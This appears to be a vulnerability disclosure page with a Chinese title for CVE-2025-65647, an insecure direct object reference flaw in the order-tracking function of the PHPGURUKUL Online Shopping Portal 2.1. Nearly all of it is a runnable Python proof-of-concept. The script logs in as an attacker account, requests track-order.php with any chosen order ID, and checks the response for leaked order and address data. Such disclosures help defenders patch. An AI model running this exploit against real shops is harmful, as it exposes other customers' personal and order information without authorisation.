CVE-2025-65647 | PHPGURUKUL在线购物门户订单跟踪功能IDOR漏洞导致信息泄露

import requests import sys # CVE-2025-65647 PoC - IDOR in PHPGURUKUL Online Shopping Portal 2.1 # Target: Track Order function - oid parameter def exploit_idor(target_url, order_id): """ Exploit IDOR vulnerability in Track Order function target_url: Base URL of the vulnerable application order_id: Order ID to access (can be any valid order ID) """ # Login first to get valid session login_url = f"{target_url}/login.php" session = requests.Session() # Login with valid credentials login_data = { "email": "[email protected]", "password": "attacker_password" } try: # Perform login login_response = session.post(login_url, data=login_data, timeout=10) # Access Track Order page with manipulated oid parameter track_order_url = f"{target_url}/track-order.php" params = {"oid": order_id} # Manipulated order ID response = session.get(track_order_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed order ID: {order_id}") print(f"[+] Response length: {len(response.text)} bytes") # Check for sensitive information in response if "order" in response.text.lower() or "address" in response.text.lower(): print("[!] Sensitive order information leaked!") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <order_id>") print(f"Example: python {sys.argv[0]} http://target.com/shopping 1001") sys.exit(1) target = sys.argv[1] order_id = sys.argv[2] print(f"[*] CVE-2025-65647 PoC - IDOR in PHPGURUKUL Track Order") print(f"[*] Target: {target}") print(f"[*] Target Order ID: {order_id}") exploit_idor(target, order_id)